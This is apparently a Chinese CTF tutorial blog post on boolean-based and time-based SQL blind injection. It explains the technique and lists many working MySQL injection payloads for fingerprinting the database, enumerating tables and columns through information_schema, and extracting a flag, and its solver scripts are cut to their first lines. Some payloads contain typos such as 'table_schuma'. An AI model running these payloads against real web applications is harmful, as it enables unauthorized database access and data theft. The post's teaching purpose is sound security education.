WEB-CTF中的sql盲注
前言
此篇包括sql盲注,以及调用requests库的基本python脚本编写
sql盲注的原理
上篇也大致提了一下sql盲注,以及分为布尔型盲注,时间型盲注。
实际上sql盲注也很简单,其实就是不直接显示搜索到的结果,而从其他方式来推断得出结果的sql注入。
举起个小栗子:
- sql回显注入 :
我问你叫什么名字,你回答你叫奥特曼。 - sql布尔型盲注 :
我问你叫什么名字,你只会说是和不是(ture false)。
于是就,我问你叫不叫李狗蛋呀,不是。叫不叫王大花呀,不是。一直猜到是为止。
但是猜也讲究技巧,一个字一个字的猜的效率比一起猜三个字效率不知道高几倍。 - sql时间型盲注 :
我问你叫什么名字,无论对错,你只会 啊 的叫一声。
于是就,是 = 让你立马啊,不是 = 让你过一会再啊,以此区分,就便成布尔型一样了。
再类比成数据库查询,原理就是如此了。
数据库盲注所用的函数
- if 和 case 用于时间型盲注
- substring() 用于截断字符串
- ascii() 使字符变成ascii码(可以ascii码比较,也可直接字符比较)
- limit offset 与 limit 用于查询到多条记录时选取第几条,再猜取内容,不然只会猜取第一条
sql盲注的步骤
1.判断是否有盲注点
布尔型盲注:布尔型盲注的注入点的表现并不绝对统一,只要当sql语句执行成功和失败的返回的页面存在某种固定差异,即存在布尔型盲注点。
所以可以尝试但不限于以下的语句
1 | $name= 1' and '1' = '1 (前后闭合’‘,此处应该返回true的页面,即与$name=1一样) |
时间型盲注:基于布尔型的语句上,利用if或case加以区分使返回结果有区别1
2
3
4
5$name= ' or if('1' = '1',sleep(5),1) --+ (延迟返回为true)
$name= ' or if('1' = '2',sleep(5),1) --+ (不延迟返回为false,因为正确的概率低,节省时间)
全句:select 列 from 表 where name = '' or if('1' = '1',sleep(5),1) --+
此处跟布尔型and和or的使用故意有所区分。
实际情况中当你构造不出一个数据库中有的name时,如果继续使用$name= ' and if('1' = '1',sleep(5),1) --+
$name=''
语句执行已经为false,根据and的就近原则:当前有false时,不执行之后的句子
结果将永远不延迟。
于是就可以用' or if('1' = '1',sleep(5),1) --+
接下来
一般跳过判断select语句有几列,判断显示的信息在第几列环节,
因为盲注一般不用union select查询,并且没有显示信息。
2.利用函数来搜集信息
用户:user()
当前数据库:database()
数据库版本:version()
@@hostname (用户)
@@datadir (数据库在文件的位置)
@@version (版本)
@@version_compile_OS (操作系统版本)
布尔型:1
2
3$name=' or select substring(user(),1,1) ='r' --+ #截取第一位开始的一个
全局:select 2列 from 表 where name = '' or select substring(user(),1,1) ='r' --+'
盲注查询的基本套路:截取,是否相等,相等=ture页面,不相等=false页面
替换r,直到ture页面
再substring( 巴拉巴拉 , 2 , 1 ),如此反复
时间型:
1 | $name=' or if( (select substring( user(),1,1 )='r'),sleep(0.5),1) --+ #截取第一位开始的一个 |
此处说明sleep(0.5):说是睡0.5秒实际上是 表中除了name=’’以外的记录数×0.5秒
此句中的sleep()语句会跟 or还是and 以及 select主句中查询的记录数 有关。
具体情况自己可以在mysql中试验。
实际操作中写的数值大就好,因为我们会根据timeout时间超时来判断,超时–>正确;不超时–>错误。
3.猜解库,表,列
布尔型:用字典文件替换db,table,column,如果不存在,返回false界面;存在,返回true界面。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
161.猜解当前表中的列名
$name=1' and column is not null --+
全句:select 2列 from 表 where name = '' and column is not null -- '
2.猜解当前表名------已猜出列名
$name=' and table.user is not null --+
3.猜解当前数据库名--已猜出列名,表名
$name=' and db.table.user is not null --+
4.猜解当前数据库的其他表
$name=' and (select count(*) from table)>0 --+ (不能猜解其他数据库的库名,在前面自动添加了库名;count(*):所有查询结果的数量)
5.4.猜解其他数据库的表和列 (如果三者都不知道这种查询只能同时猜三个变量)
$name=' and (select count(*) from db.table)>0 --+
时间型:用字典文件替换db,table,column,如果不存在,立即返回;存在,超时。
1 | 1.猜解当前表中的列名 |
4.从information_schema中读取列,表,库
如果有访问information_schema的权限,当然可以从中读取。
此处列出时间型的小栗子:1
2
3
4
5
6
7
8
9
10
11
12
13
141.读取列名
$name=1' and if( (select substring(column_name,1,1) from information_schema.columns limit 1 offset 0 )='A' ,sleep(5),1)--+
2.读取表名
$name=1' and if( (select substring(table_name,1,1) from information_schema.tables limit 1 offset 0 )='A' ,sleep(5),1)--+
3.读取库名
$name=1' and if( (select substring(table_schema,1,1) from information_schema.tables group by table_schema limit 1 offset 0 )='A' ,sleep(5),1)--+
4.读取表的库名
$name=1' and if( (select substring(table_schuma,1,1) from information_schema.tables where table_name='XXXX' limit 1 offset 0 )='A' ,sleep(5),1)--+
5.读取列的库名
$name=1' and if( (select substring(table_name,1,1) from information_schema.columns where column_name='XXXX' limit 1 offset 0 )='A' ,sleep(5),1)--+
布尔型的就以此类推,不再写了吧。
5.猜解FLAG
可用select:1
2
3$name=' union select ascii(substring(flag,1,1)) from flag ='102 ------>ascii匹配
$name=' union select substring(flag,1,1) from flag ='A' ------>字符匹配
不好select的情况:1
2
3$name=' or column = 'admin -----> 内容精准
$name=' or column like '%a% -----> 模糊查找
实例
给出个说明较好的盲注实例 戳这里=w=
requests与脚本
盲注的手动注入不现实,burpsuite也不是很方便,学习用py脚本来盲注。
需要requests库,使用说明。
贴上两道题目的解题的代码,加上注释,看着学习把。(题目访问url)
布尔型脚本
1 | #coding:utf-8 |
时间型脚本
1 | import requests |